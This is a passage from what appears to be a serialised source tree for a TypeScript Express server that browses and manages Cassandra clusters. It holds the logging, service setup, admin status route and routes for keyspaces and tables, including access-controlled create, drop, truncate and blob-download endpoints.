healthcheck);\n\n setupMiddleware(app);\n app.use('/REST', noCache(), routes);\n\n // serve all other routes from index.html to enable client-side routing.\n app.get('*', (req, res) => {\n if (req.url.match(/^\\/static\\/(js|css|fonts)\\//)) {\n res.status(404).send();\n } else {\n res.header('Cache-Control', 'no-cache');\n res.sendFile(join(__dirname, 'public', 'index.html'));\n }\n });\n\n setupErrorHandlers(app);\n\n // don't start the server in test mode since tests are run in parallel\n // and we only need the app to be created and we can forgo the server\n if (process.env.NODE_ENV !== 'test') {\n app.listen(APP_PORT, () => {\n logger.info(`${APP_NAME} listening on port ${APP_PORT}!`);\n });\n }\n\n resolve(app);\n })\n .catch((err) => {\n logger.error(`Startup failed due to: ${err.message}`);\n reject();\n process.exit(1);\n });\n});\n\n// needed for tests to know when the app has started\nexport function getApp(): Promise<Application> {\n return appPromise;\n}\n", "src\\server\\config\\logger\\index.ts": "import { Request } from 'express';\nimport http from 'http';\nimport path from 'path';\nimport winston, { createLogger } from 'winston';\nimport { getConfig } from '../configuration';\nimport { ILoggerProvider } from './providers/ILoggerProvider';\n\nconst { LOGGER_PROVIDER } = getConfig();\n\nconst logLevel = process.env.LOG_LEVEL || 'info';\nconst isProd =\n process.env.NODE_ENV !== 'development' && process.env.NODE_ENV !== 'test';\n\nlet logger: winston.Logger;\n\n/**\n * Initializes the logger. Must be called early in the startup lifecycle in order\n * for other services to use it.\n */\nexport function init(): void {\n const path = `@/config/logger/providers/${LOGGER_PROVIDER}`;\n\n // note, we use a synchronous require rather than the standard loadClass()\n // that uses promises as it needs to be called synchronously in the startup sequence\n // before it is used.\n // eslint-disable-next-line @typescript-eslint/no-var-requires\n const Provider: new () => ILoggerProvider = require(path).default;\n logger = createLogger({\n level: logLevel,\n transports: new Provider().getTransports(isProd),\n });\n}\n\n// eslint-disable-next-line @typescript-eslint/explicit-module-boundary-types\nexport default function loggerFactory(module: any): ILogger {\n if (!logger) {\n throw new Error(\n 'Logger not initialized. Please call initLogger() before first use.',\n );\n }\n if (!module) {\n throw new Error('The module name is required to log.');\n }\n\n const rootDir = path.join(__dirname, '..', '..', '..');\n const filename = module.id.slice(rootDir.length);\n\n const internalLog = (level: string, message: string, metadata: any) => {\n if (process.env.NODE_ENV === 'test') {\n return;\n }\n const params = { location: filename };\n if (metadata instanceof http.IncomingMessage) {\n const req: Request = metadata as Request;\n\n Object.assign(params, {\n cluster: req?.cluster?.name ?? '',\n datastoreType: req.datastoreType ?? '',\n route: req.originalUrl ?? '',\n clientApp: req?.user?.application ?? '',\n user: {\n email: req?.user?.email ?? '',\n },\n });\n }\n logger.log(level, message, params);\n };\n\n return {\n /**\n * Logs an info level message.\n * @param message The message to be logged.\n * @param metadata Additional metadata to be logged.\n */\n info(message: string, metadata?: any) {\n internalLog('info', message, metadata);\n },\n\n /**\n * Logs a debug level message.\n * @param message The message to be logged.\n * @param metadata Additional metadata to be logged.\n */\n debug(message: string, metadata?: any) {\n internalLog('debug', message, metadata);\n },\n\n /**\n * Logs an error level message.\n * @param message The message to be logged.\n * @param metadata Additional metadata to be logged.\n */\n error(message: string, metadata?: any) {\n internalLog('error', message, metadata);\n },\n\n /**\n * Logs a warning level message\n * @param message The message to be logged.\n * @param metadata Additional metadata to be logged.\n */\n warn(message: string, metadata?: any) {\n internalLog('warn', message, metadata);\n },\n };\n}\n", "src\\server\\config\\logger\\__mocks__\\index.ts": "export function init(): void {\n // no-op\n}\n\nconst TEST_LOGGING_ENABLED = false;\n\n// eslint-disable-next-line @typescript-eslint/explicit-module-boundary-types\nexport default function loggerFactory(_module: any): ILogger {\n return {\n debug(message: string) {\n TEST_LOGGING_ENABLED && console.debug(message);\n },\n warn(message: string) {\n TEST_LOGGING_ENABLED && console.warn(message);\n },\n info(message: string) {\n TEST_LOGGING_ENABLED && console.info(message);\n },\n error(message: string) {\n TEST_LOGGING_ENABLED && console.error(message);\n },\n };\n}\n", "src\\server\\config\\services\\index.ts": "import { getConfig } from '@/config/configuration';\nimport loggerFactory from '@/config/logger';\nimport { getStore } from '@/model/store';\nimport ClusterAccessControlService from '@/services/cluster-acls/ClusterAccessControlService';\nimport { DiscoveryService } from '@/services/discovery';\nimport EntityAccessControlCache from '@/services/entity-acls/EntityAccessControlCache';\nimport EntityAccessControlService from '@/services/entity-acls/EntityAccessControlService';\nimport ExplorerCache from '@/services/explorer/ExplorerCache';\nimport UserGroupCache from '@/services/user/UserGroupCache';\nimport { Application } from 'express';\nimport { setupClusterAccessControlService } from './cluster-acl';\nimport { setupDatastoreSupport } from './datastores';\nimport { setupDiscoveryService } from './discovery';\nimport {\n setupEntityAccessControlCache,\n setupEntityAccessControlService,\n} from './entity-acls';\nimport { setupExplorerCache } from './explorer';\nimport { setupUserGroupCache } from './user';\n\nconst logger = loggerFactory(module);\n\nconst { SUPPORTED_DATASTORE_TYPES } = getConfig();\n\nlet entityAccessControlCache: EntityAccessControlCache;\nlet explorerCache: ExplorerCache;\nlet discoveryService: DiscoveryService;\nlet clusterAccessControlService: ClusterAccessControlService;\nlet userGroupCache: UserGroupCache;\nlet entityAccessControlService: EntityAccessControlService;\n\nexport async function setupServices(app: Application): Promise<void> {\n const store = getStore();\n try {\n // load configured datastores\n const datastoreServices = await setupDatastoreSupport(\n SUPPORTED_DATASTORE_TYPES,\n );\n\n // setup caches\n entityAccessControlCache = await setupEntityAccessControlCache(app);\n explorerCache = await setupExplorerCache();\n userGroupCache = await setupUserGroupCache();\n\n // setup async services\n clusterAccessControlService = await setupClusterAccessControlService(\n app,\n store,\n );\n discoveryService = await setupDiscoveryService(\n explorerCache,\n datastoreServices,\n store,\n );\n entityAccessControlService = await setupEntityAccessControlService();\n\n // start async services\n await Promise.all([\n discoveryService.start(),\n clusterAccessControlService.start(),\n ]);\n } catch (err) {\n logger.error('failed to setup services');\n throw err;\n }\n}\n\nexport function getEntityAccessControlService(): EntityAccessControlService {\n return entityAccessControlService;\n}\n\nexport function getEntityAccessControlCache(): EntityAccessControlCache {\n return entityAccessControlCache;\n}\n\nexport function getUserGroupCache(): UserGroupCache {\n return userGroupCache;\n}\n\nexport function getExplorerCache(): ExplorerCache {\n return explorerCache;\n}\n\nexport function getClusterAccessControlService(): ClusterAccessControlService {\n return clusterAccessControlService;\n}\n", "src\\server\\config\\services\\__mocks__\\index.ts": "import ExplorerCache from '@/services/explorer/ExplorerCache';\njest.mock('@/services/explorer/ExplorerCache');\n\nexport const setupServices = jest\n .fn()\n .mockResolvedValue((): Promise<void> => Promise.resolve());\n\nconst DEFAULT_USER_GROUPS = ['[email protected]'];\nconst __getUserGroups = jest.fn();\n__getUserGroups.mockResolvedValue(DEFAULT_USER_GROUPS);\n\n/**\n * Call this function in tests in a beforeAll()/beforeEach() to change the\n * user's groups for a request. You can then call it again in\n * afterAll()/afterEach() to reset the values to the default.\n */\nexport function __setUserGroups(userGroups = DEFAULT_USER_GROUPS): void {\n __getUserGroups.mockResolvedValue(userGroups);\n}\n\nexport const getUserGroupCache = jest.fn().mockImplementation(() => {\n return {\n getUserGroups: () => {\n return __getUserGroups();\n },\n };\n});\n\nconst explorerCache = new ExplorerCache();\nexport const getExplorerCache = (): ExplorerCache => {\n return explorerCache;\n};\n", "src\\server\\i18n\\index.ts": "import i18next, { TFunction } from 'i18next';\nimport enUS from './locales/en-US';\n\nexport async function setupi18n(): Promise<void> {\n await i18next.init({\n lng: 'en-US',\n fallbackLng: 'en-US',\n resources: {\n 'en-US': {\n translation: enUS,\n },\n } as any,\n interpolation: {\n format(value: string, format: string, _lng: string): string {\n if (value === undefined) {\n return value;\n }\n if (format === 'uppercase') {\n return value.toUpperCase();\n }\n if (format === 'lowercase') {\n return value.toLowerCase();\n }\n return value;\n },\n } as any,\n });\n}\n\nexport function changeLanguage(language: string): Promise<TFunction> {\n return i18next.changeLanguage(language);\n}\n\n// eslint-disable-next-line @typescript-eslint/explicit-module-boundary-types\nexport function t(key: string | string[], options?: any): string {\n return i18next.t(key, options);\n}\n", "src\\server\\routes\\index.ts": "import admin from '@/routes/admin';\nimport datastores from '@/routes/datastores';\nimport env from '@/routes/env';\nimport i18n from '@/routes/i18n';\nimport user from '@/routes/user';\nimport AdminCredentialsRequiredError from '@/services/datastores/base/errors/AdminCredentialsRequiredError';\nimport { ADMIN_MEMBERS } from '@/shared/shared-constants';\nimport { NextFunction, Request, Response, Router } from 'express';\n\nconst router = Router();\n\n/**\n * Middleware function that requires a user to be an administrator to perform the function.\n * Currently, uses a simple white list of administrator emails.\n */\nfunction isAdmin(req: Request, _res: Response, next: NextFunction) {\n if (req.user && ADMIN_MEMBERS.indexOf(req.user.email) >= 0) {\n return next();\n }\n return next(new AdminCredentialsRequiredError());\n}\n\nrouter.use('/env', env);\nrouter.use('/i18n', i18n);\nrouter.use('/user', user);\nrouter.use('/datastores', datastores);\n\nrouter.use('/admin', [isAdmin], admin);\n\nexport default router;\n", "src\\server\\routes\\admin\\index.ts": "import { APP_AVAIL_ENVIRONMENTS, APP_AVAIL_REGIONS } from '@/config/constants';\nimport setupLogger from '@/config/logger';\nimport {\n getEntityAccessControlCache,\n getExplorerCache,\n getUserGroupCache,\n} from '@/config/services';\nimport { getStore } from '@/model/store';\nimport { DatastoreType } from '@/typings/enums';\nimport {\n IAdminStatus,\n IClusterDefinitionWithConnectionInfoMap,\n IClusterDefinition,\n} from '@/typings/typings';\nimport * as appUtils from '@/utils/app-utils';\nimport { Router } from 'express';\n\nconst logger = setupLogger(module);\nconst router = Router();\n\n/**\n * Get application status information at runtime.\n */\nrouter.get('/status', async (req, res) => {\n const app = req.app;\n\n const cache = getEntityAccessControlCache();\n if (req.query.refresh === 'true') {\n await cache.refresh();\n }\n\n const { accessControl, discovery } = getStore();\n const { status: aclStatus, clusterAclMap } = accessControl;\n const { status: discoveryStatus } = discovery;\n\n const availableClustersWithConnections = buildClustersWithConnectionInfo();\n logger.info('querying admin status', req);\n res.json({\n currentRegion: appUtils.getRegion(app),\n currentEnv: appUtils.getEnv(app),\n state: {\n discovery: discoveryStatus,\n acl: aclStatus,\n },\n acl: clusterAclMap,\n available: {\n environments: app.get(APP_AVAIL_ENVIRONMENTS),\n regions: app.get(APP_AVAIL_REGIONS),\n clusters: availableClustersWithConnections,\n },\n cache: cache.values(),\n userCache: getUserGroupCache().values(),\n } as IAdminStatus);\n});\n\nfunction buildClustersWithConnectionInfo() {\n const availableClustersWithConnections = {} as IClusterDefinitionWithConnectionInfoMap;\n\n const { discovery } = getStore();\n const availableClusters = discovery.clusters;\n if (availableClusters) {\n const datastoreTypes = Object.keys(availableClusters);\n datastoreTypes.forEach((type) => {\n availableClustersWithConnections[type] = availableClusters[type].map(\n mapCluster,\n );\n });\n }\n return availableClustersWithConnections;\n}\n\nfunction mapCluster(cluster: IClusterDefinition) {\n const datastoreType = DatastoreType[cluster.datastoreType.toUpperCase()];\n const explorerCache = getExplorerCache();\n const explorer = explorerCache.peekExplorer(\n datastoreType,\n cluster.name,\n cluster.region,\n cluster.env,\n );\n return {\n ...cluster,\n hasConnection: !!explorer,\n };\n}\n\nexport default router;\n", "src\\server\\routes\\admin\\__tests__\\index.spec.ts": "import { getApp } from '@/index';\nimport { userHeaders } from '@/utils/__tests__/helpers/auth-helper';\nimport { Application } from 'express';\nimport request from 'supertest';\n\ndescribe('/admin route', () => {\n let app: Application;\n\n beforeAll(async () => {\n app = await getApp();\n });\n\n it('non-admin users should be rejected', async () => {\n const result = await request(app).get('/REST/admin').set(userHeaders);\n expect(result.status).toEqual(401);\n });\n});\n", "src\\server\\routes\\datastores\\index.ts": "import { getConfig } from '@/config/configuration';\nimport setupLogger from '@/config/logger';\nimport { getStore } from '@/model/store';\nimport { DatastoreType } from '@/typings/enums';\nimport { canUserAccessCluster } from '@/utils/acl-utils';\nimport {\n getAvailableClusters,\n isClusterShared,\n isRegionAccessible,\n} from '@/utils/app-utils';\nimport { getQueryAsString } from '@/utils/request-utils';\nimport { IClusterRegionSummary, IClusterSummary } from '@sharedtypes/typings';\nimport { Request, Router } from 'express';\nimport { flatten } from 'lodash';\n\nconst { SUPPORTED_DATASTORE_TYPES } = getConfig();\n\nconst router = Router();\n\nconst logger = setupLogger(module);\n\nconst supportedDatstores = SUPPORTED_DATASTORE_TYPES;\nconst supportedDatastoreRegex = supportedDatstores.join('|');\n\nlogger.info(\n `setting up sub-routes for supported datastores: ${JSON.stringify(\n supportedDatstores,\n )}`,\n);\n\nrouter.param('datastoreType', (req: Request, res, next) => {\n // store the datastore type on the request (used for logging)\n req.datastoreType =\n DatastoreType[(req.params.datastoreType as string).toUpperCase()];\n next();\n});\n\n/**\n * Fetches the list of all datastore clusters the current user has access to.\n */\nrouter.get('/', (req: Request, res, next) => {\n try {\n const allDatastoreClusters: IClusterRegionSummary[] = flatten(\n Object.values(getStore().discovery.clusters || []),\n ).map(\n (clusterDef) =>\n ({\n env: clusterDef.env,\n isShared: isClusterShared(clusterDef.name),\n name: clusterDef.name,\n region: clusterDef.region,\n type: clusterDef.datastoreType,\n } as IClusterRegionSummary),\n );\n\n if (!allDatastoreClusters || allDatastoreClusters.length === 0) {\n return res.status(204).json({ message: 'No clusters available.' });\n }\n\n const userAccessibleClusters = allDatastoreClusters.filter((cluster) =>\n canUserAccessCluster(req.user, cluster),\n );\n return res.json(userAccessibleClusters);\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Fetches the list of Datastore clusters in the current region for this application.\n */\nrouter.get(\n `/:datastoreType(${supportedDatastoreRegex})/clusters`,\n (req: Request, res, next) => {\n try {\n const clusters = getAvailableClusters(req.params.datastoreType);\n if (!clusters || clusters.length === 0) {\n return res.status(204).json({ message: 'No clusters available.' });\n }\n\n const match = getQueryAsString(req, 'match', '*');\n\n const accessibleClusters = new Set<IClusterSummary>();\n clusters.forEach((cluster) => {\n const isAccessible = isRegionAccessible(\n req.app,\n cluster.region,\n cluster.env,\n );\n const nameMatches =\n match.trim() === '*' ||\n cluster.name\n .toLowerCase()\n .indexOf(match.toLowerCase().replace(/\\*/g, '')) >= 0;\n if (\n isAccessible &&\n nameMatches &&\n canUserAccessCluster(req.user, cluster)\n ) {\n accessibleClusters.add({\n name: cluster.name,\n isShared: isClusterShared(cluster.name),\n });\n }\n });\n return res.json(Array.from(accessibleClusters));\n } catch (err) {\n next(err);\n }\n },\n);\n\n/**\n * Intended to be a fast endpoint that simply checks the existence of a cluster and returns a 200 or 404.\n */\nrouter.head(\n `/:datastoreType(${supportedDatastoreRegex})/clusters/:name`,\n (req, res, next) => {\n try {\n const clusters = getAvailableClusters(req.params.datastoreType);\n const clusterExists = clusters.some(\n (cluster) => cluster.name === req.params.name,\n );\n res.status(clusterExists ? 204 : 404).send();\n } catch (err) {\n next(err);\n }\n },\n);\n\nrouter.get('/types', (_req, res, _next) => {\n res.json(supportedDatstores);\n});\n\nsupportedDatstores.forEach(async (datastore) => {\n const datastoreRoute = await import(`./${datastore}`);\n router.use(`/${datastore}`, datastoreRoute.default);\n});\n\nexport default router;\n", "src\\server\\routes\\datastores\\cassandra\\index.ts": "import clusters from '@/routes/datastores/cassandra/clusters';\nimport features from '@/routes/datastores/cassandra/features';\nimport { Router } from 'express';\n\nconst router = Router();\n\nrouter.use('/clusters', clusters);\nrouter.use('/features', features);\n\nexport default router;\n", "src\\server\\routes\\datastores\\cassandra\\clusters\\index.ts": "import { getConfig } from '@/config/configuration';\nimport loggerFactory from '@/config/logger';\nimport { getExplorerCache } from '@/config/services';\nimport keyspaces from '@/routes/datastores/cassandra/clusters/keyspaces';\nimport metrics from '@/routes/datastores/cassandra/clusters/metrics';\nimport query from '@/routes/datastores/cassandra/clusters/query';\nimport { IExplorer } from '@/services/datastores/base/datastore';\nimport ClusterNotFoundError from '@/services/datastores/base/errors/ClusterNotFoundError';\nimport CassandraDatastoreService from '@/services/datastores/cassandra';\nimport CassandraExplorer from '@/services/datastores/cassandra/lib/CassandraExplorer';\nimport { ICassandraClientOptionsProvider } from '@/services/datastores/cassandra/lib/providers/client/ICassandraClientOptionsProvider';\nimport { ICassandraConnectParams } from '@/services/datastores/cassandra/typings/cassandra';\nimport { DatastoreType, EntityType } from '@/typings/enums';\nimport { IClusterDefinition } from '@/typings/typings';\nimport {\n filterAccessibleEntities,\n verifyUserCanAccessCluster,\n} from '@/utils/acl-utils';\nimport {\n getCluster,\n getEnv,\n getRegion,\n isClusterShared,\n} from '@/utils/app-utils';\nimport { loadClass } from '@/utils/class-loader-utils';\nimport { Request, Router } from 'express';\n\nconst logger = loggerFactory(module);\n\nconst router = Router();\n\nconst { CASSANDRA_CLIENT_OPTIONS_PROVIDER } = getConfig();\n\nlet cassandraDatastoreService: CassandraDatastoreService;\n\nasync function getCassandraDatastoreService() {\n if (!cassandraDatastoreService) {\n const providerName = CASSANDRA_CLIENT_OPTIONS_PROVIDER;\n logger.info(\n `setting up Cassandra datastore service using provider: ${providerName}`,\n );\n const ProviderClass = await loadClass<\n new () => ICassandraClientOptionsProvider\n >(`@/services/datastores/cassandra/lib/providers/client/${providerName}`);\n const provider = new ProviderClass();\n\n cassandraDatastoreService = new CassandraDatastoreService(provider);\n }\n return cassandraDatastoreService;\n}\n\n/**\n * Handles /:cluster parameters in the request. Responsible for fetching an existing connection or establishing a\n * new connection to the given cluster.\n */\nrouter.param('cluster', async (req: Request, res, next, clusterName) => {\n if (!clusterName) {\n return res\n .status(400)\n .json({ message: 'clusterName must be provided in path param.' });\n }\n const datastoreType = DatastoreType.CASSANDRA;\n\n try {\n const region = getRegion(req.app);\n const env = getEnv(req.app);\n const cluster = getCluster(req.app, datastoreType, clusterName);\n if (!cluster) {\n throw new ClusterNotFoundError(clusterName, region, env);\n }\n req.datastoreType = datastoreType;\n req.cluster = cluster;\n\n verifyUserCanAccessCluster(req.user, req.cluster);\n const explorerCache = getExplorerCache();\n req.cassandraApi = (await explorerCache.getExplorer(\n datastoreType,\n clusterName,\n region,\n env,\n async (clusterDef: IClusterDefinition): Promise<IExplorer> => {\n const clusterDescription = `${clusterName}.${region}.${env}`;\n const service = await getCassandraDatastoreService();\n const params: ICassandraConnectParams = {\n clusterDescription,\n clusterName,\n env,\n instances: clusterDef.instances,\n region,\n };\n return service.connect(params);\n },\n )) as CassandraExplorer;\n return next();\n } catch (err) {\n return next(err);\n }\n});\n\nrouter.get('/:cluster/info', async (req: Request, res, next) => {\n try {\n const info = await req.cassandraApi.getClusterInfo();\n res.json(info);\n } catch (err) {\n next(err);\n }\n});\n\nrouter.get('/:cluster/datacenters', async (req: Request, res, next) => {\n try {\n const datacenters = await req.cassandraApi.getDatacenters();\n res.json(datacenters);\n } catch (err) {\n next(err);\n }\n});\n\nrouter.get('/:cluster/schema', async (req: Request, res, next) => {\n try {\n const schema = await req.cassandraApi.getClusterSchema();\n if (isClusterShared(req.cluster.name)) {\n const keyspaceNames = schema.map((schemaRow) => schemaRow.keyspace);\n const userKeyspaceSet = await filterAccessibleEntities(\n req.user,\n req.cluster,\n EntityType.KEYSPACE,\n keyspaceNames,\n );\n const userSchemas = schema.filter((schemaRow) =>\n userKeyspaceSet.has(schemaRow.keyspace),\n );\n res.json(userSchemas);\n } else {\n res.json(schema);\n }\n } catch (err) {\n next(err);\n }\n});\n\nrouter.use('/:cluster/keyspaces', keyspaces);\nrouter.use('/:cluster/metrics', metrics);\nrouter.use('/:cluster/query', query);\n\nexport default router;\n", "src\\server\\routes\\datastores\\cassandra\\clusters\\keyspaces\\index.ts": "import setupLogger from '@/config/logger';\nimport {\n getEntityAccessControlCache,\n getEntityAccessControlService,\n} from '@/config/services';\nimport EntityMissingAclOwners from '@/model/errors/EntityMissingAclOwners';\nimport tables from '@/routes/datastores/cassandra/clusters/keyspaces/tables';\nimport types from '@/routes/datastores/cassandra/clusters/keyspaces/types';\nimport { EntityType } from '@/typings/enums';\nimport { verifyUserAccessEntity } from '@/utils/acl-utils';\nimport { getEnv, isClusterShared } from '@/utils/app-utils';\nimport { getCassandraAccess } from '@/utils/cde-utils';\nimport { Request, Router } from 'express';\n\nconst logger = setupLogger(module);\n\nconst router = Router();\n\n/**\n * Fetch all keyspaces.\n */\nrouter.get('/', async (req: Request, res, next) => {\n logger.info('fetching all keyspaces', req);\n try {\n const allKeyspaces = await req.cassandraApi.getKeyspaces();\n const clusterAccess = await getCassandraAccess(\n req.user,\n req.cluster,\n allKeyspaces,\n );\n if (clusterAccess.isShared) {\n const userKeyspaceNames = clusterAccess.userKeyspaceNames;\n res.json(\n allKeyspaces.filter((keyspace) => userKeyspaceNames.has(keyspace.name)),\n );\n } else {\n res.json(allKeyspaces);\n }\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Creates a new keyspace. Expects POST body to include:\n * {\n * \"name\": \"keyspace-name\",\n * \"datacenters\": {\n * \"us-east\": 2,\n * \"eu-west\": 2\n * },\n * \"owners\": [\"[email protected]\", \"[email protected]\"]\n * }\n */\nrouter.post('/', async (req: Request, res, next) => {\n const { name: keyspaceName, owners = [], datacenters = {} } = req.body;\n logger.info(`creating new keyspace: \"${keyspaceName}\"`, req);\n\n const cluster = req.cluster.name;\n const env = getEnv(req.app);\n const type = EntityType.KEYSPACE;\n const isShared = isClusterShared(cluster);\n if (isShared && owners.length === 0) {\n throw new EntityMissingAclOwners(cluster, type, keyspaceName);\n }\n\n let createKeyspaceResult;\n try {\n createKeyspaceResult = await req.cassandraApi.createKeyspace(\n keyspaceName,\n datacenters,\n );\n } catch (err) {\n return next(err);\n }\n\n // if the cluster is shared, then update entity ownership information\n if (isShared) {\n try {\n const entityAccessControlService = getEntityAccessControlService();\n await entityAccessControlService.setEntityOwners(\n cluster,\n env,\n type,\n keyspaceName,\n owners,\n );\n } catch (err) {\n return next(err);\n }\n }\n\n // refresh the cache of cluster/entities to ensure the user has access to the newly created keyspace\n getEntityAccessControlCache().refresh();\n\n res.json(createKeyspaceResult);\n});\n\nrouter.param('keyspace', async (req: Request, res, next, keyspaceName) => {\n try {\n // attempt to fetch the keyspace (throws if it cannot be found).\n await req.cassandraApi.getKeyspace(keyspaceName);\n await verifyUserAccessEntity(\n req.user,\n req.cluster,\n EntityType.KEYSPACE,\n keyspaceName,\n false,\n );\n req.keyspaceName = keyspaceName;\n next();\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Fetches a keyspace by name. Note, keyspaces are case-sensitive.\n */\nrouter.get('/:keyspace', async (req: Request, res, next) => {\n logger.info(`fetching keyspace: \"${req.keyspaceName}\"`, req);\n try {\n const keyspace = await req.cassandraApi.getKeyspace(req.keyspaceName);\n res.json(keyspace);\n } catch (err) {\n next(err);\n }\n});\n\nrouter.use('/:keyspace/tables', tables);\nrouter.use('/:keyspace/types', types);\n\nexport default router;\n", "src\\server\\routes\\datastores\\cassandra\\clusters\\keyspaces\\tables\\index.ts": "import { getConfig } from '@/config/configuration';\nimport setupLogger from '@/config/logger';\nimport FeatureDisabledError from '@/model/errors/FeatureDisabledError';\nimport OperationNotSupportedInEnvError from '@/model/errors/OperationNotSupportedInEnvError';\nimport { CassandraTableCreationError } from '@/services/datastores/cassandra/lib/errors/CassandraTableCreationError';\nimport { IClusterDefinition } from '@/typings/typings';\nimport { getCassandraAccess } from '@/utils/cde-utils';\nimport { sendFile } from '@/utils/response-utils';\nimport { Request, Router } from 'express';\nimport { fromBuffer } from 'file-type';\nimport { isText } from 'istextorbinary';\nimport keys from './keys';\n\nconst logger = setupLogger(module);\n\nconst {\n CASSANDRA_ALLOW_DROP_TABLE,\n CASSANDRA_ALLOW_TRUNCATE_TABLE,\n CASSANDRA_ENVIRONMENTS_ALLOWING_DESTRUCTIVE_OPERATIONS,\n} = getConfig();\n\nconst router = Router();\n\n/**\n * Fetches the list of tables for the given keyspace.\n */\nrouter.get('/', async (req: Request, res, next) => {\n logger.info(`fetching all tables in keyspace: ${req.keyspaceName}`, req);\n try {\n const tables = await req.cassandraApi.getTables(req.keyspaceName);\n res.json(tables);\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Creates a new table.\n *\n * If a `preview` query param is provided, then the statement will be generated, but will not be executed.\n */\nrouter.post('/', async (req: Request, res, next) => {\n try {\n if (Object.prototype.hasOwnProperty.call(req.query, 'preview')) {\n // preview only mode\n logger.debug(\n `previewing table schema: ${req.keyspaceName}.${req.body.table}`,\n req,\n );\n const statement = await req.cassandraApi.generateCreateStatement(\n req.body,\n );\n res.json({ statement });\n } else {\n // non-preview\n const keyspaces = await req.cassandraApi.getKeyspaces();\n const clusterAccess = await getCassandraAccess(\n req.user,\n req.cluster,\n keyspaces,\n );\n\n const createStatement = req.body.createStatement as string;\n if (createStatement) {\n // ensure we have a create statement\n if (!createStatement.trim().toLowerCase().startsWith('create table')) {\n throw new CassandraTableCreationError(\n req.keyspaceName,\n req.body.table,\n 'Invalid create table statement.',\n );\n }\n\n // free-form create statement has been provided\n const table = await req.cassandraApi.createTableAdvanced(\n req.keyspaceName,\n req.body.table,\n createStatement,\n clusterAccess,\n );\n res.json(table);\n } else {\n // the typed create table options payload\n logger.info(\n `creating new table schema: ${req.keyspaceName}.${req.body.table}`,\n req,\n );\n const table = await req.cassandraApi.createTable(\n req.body,\n clusterAccess,\n );\n res.json(table);\n }\n }\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Simple middleware that attaches the `tableName` to the request for easy retrieval.\n */\nrouter.param('table', (req: Request, res, next, tableName) => {\n req.tableName = tableName;\n next();\n});\n\n/**\n * Fetches the schema definition for a given table.\n */\nrouter.get('/:table', async (req: Request, res, next) => {\n const { keyspaceName, tableName } = req;\n logger.info(`fetching table schema: ${keyspaceName}.${tableName}`, req);\n try {\n const table = await req.cassandraApi.getTable(keyspaceName, tableName);\n res.json(table);\n } catch (err) {\n next(err);\n }\n});\n\nrouter.delete('/:table', async (req: Request, res, next) => {\n const { keyspaceName, tableName, cluster } = req;\n try {\n if (!CASSANDRA_ALLOW_DROP_TABLE) {\n logger.info('drop table feature is disabled', req);\n throw new FeatureDisabledError('CASSANDRA_ALLOW_DROP_TABLE');\n }\n\n validateSafeEnv(cluster, 'DROP');\n logger.info(`dropping table: ${keyspaceName}.${tableName}`, req);\n const result = await req.cassandraApi.dropTable(keyspaceName, tableName);\n res.json(result);\n } catch (err) {\n next(err);\n }\n});\n\nrouter.delete('/:table/truncate', async (req: Request, res, next) => {\n const { keyspaceName, tableName, cluster } = req;\n try {\n if (!CASSANDRA_ALLOW_TRUNCATE_TABLE) {\n logger.info('truncate table feature is disabled', req);\n throw new FeatureDisabledError('CASSANDRA_ALLOW_TRUNCATE_TABLE');\n }\n\n validateSafeEnv(cluster, 'TRUNCATE');\n logger.info(`truncating table: ${keyspaceName}.${tableName}`, req);\n const result = await req.cassandraApi.truncateTable(\n keyspaceName,\n tableName,\n );\n res.json(result);\n } catch (err) {\n next(err);\n }\n});\n\nfunction validateSafeEnv(cluster: IClusterDefinition, operationName: string) {\n if (\n !CASSANDRA_ENVIRONMENTS_ALLOWING_DESTRUCTIVE_OPERATIONS.includes(\n cluster.env,\n )\n ) {\n throw new OperationNotSupportedInEnvError(operationName, cluster.env);\n }\n}\n\n/**\n * Generates a friendlier filename for a blob download.\n * @param cluster The cluster object.\n * @param keyspace The name of the keyspace\n * @param table The name of the table.\n * @param primaryKey An object consisting of the row's primary key\n * @param binaryColumnName The name of the blob column to fetch.\n */\nfunction generateFilename(\n cluster: IClusterDefinition,\n keyspace: string,\n table: string,\n primaryKey: any,\n binaryColumnName: string,\n): string {\n return [\n cluster.name.toUpperCase(),\n `${keyspace}.${table}`,\n Object.entries(primaryKey)\n .map(([key, value]) => `${key}.${value}`)\n .join('__'),\n binaryColumnName,\n ].join('____');\n}\n\nrouter.post('/:table/binary', async (req: Request, res, next) => {\n logger.info('retrieving binary column data', req);\n const { cluster, keyspaceName: keyspace, tableName: table } = req;\n\n try {\n const { primaryKey, columnName } = req.body;\n const { hex } = req.query;\n\n const data = await req.cassandraApi.getBinaryValue(\n keyspace,\n table,\n primaryKey,\n columnName,\n );\n\n if (data === null) {\n return res.status(204).send('Binary field is empty');\n }\n\n const filename = generateFilename(\n cluster,\n keyspace,\n table,\n primaryKey,\n columnName,\n );\n const useHex = hex && hex === 'true';\n if (useHex) {\n // if we can't detect the content type, we'll default to hex.\n logger.error(\n `Retrieving binary content as hex from \"${keyspace}\".\"${table}\"`,\n req,\n );\n const hexData = `0x${data.toString('hex')}`;\n return sendFile(\n res,\n 'application/octet-stream',\n filename,\n hexData,\n Buffer.byteLength(hexData, 'utf8'),\n );\n }\n\n // attempt to detect the mime type so we can let the browser open the appropriate viewer\n // fileType only requires the first 4100 bytes to check the type.\n const buffSlice = data.slice(0, 4100);\n const type = await fromBuffer(buffSlice);\n if (type) {\n logger.info(\n `detected content type: ${type.mime} for \"${keyspace}\".\"${table}\"`,\n req,\n );\n sendFile(res, type.mime, `${filename}.${type.ext}`, data);\n } else {\n logger.info(\n `unable to detect content type for \"${keyspace}\".\"${table}\", checking for text content...`,\n );\n\n // if we can't detect the content type, the file may actually be text,\n // so perform additional check to set mime type.\n if (isText(null, data)) {\n return sendFile(res, 'application/text', `${filename}.txt`, data);\n } else {\n logger.warn(\n `non-text content found in \"${keyspace}\".\"${table}\", returning raw data`,\n req,\n );\n return sendFile(res, 'application/octet-stream', filename, data);\n }\n }\n } catch (err) {\n logger.error(\n `failed to retrieve binary column data from \"${keyspace}\".\"${table}\"\n due to: \"${err.message}\"`,\n err,\n );\n next(err);\n }\n});\n\nrouter.use('/:table/keys', keys);\n\nexport default router;\n", "src\\server\\routes\\datastores\\cassandra\\clusters\\keyspaces\\tables\\keys\\index.ts": "import { getConfig } from '@/config/configuration';\nimport setupLogger from '@/config/logger';\nimport { truncateResults } from '@/services/datastores/cassandra/lib/utils/result-utils';\nimport {\n 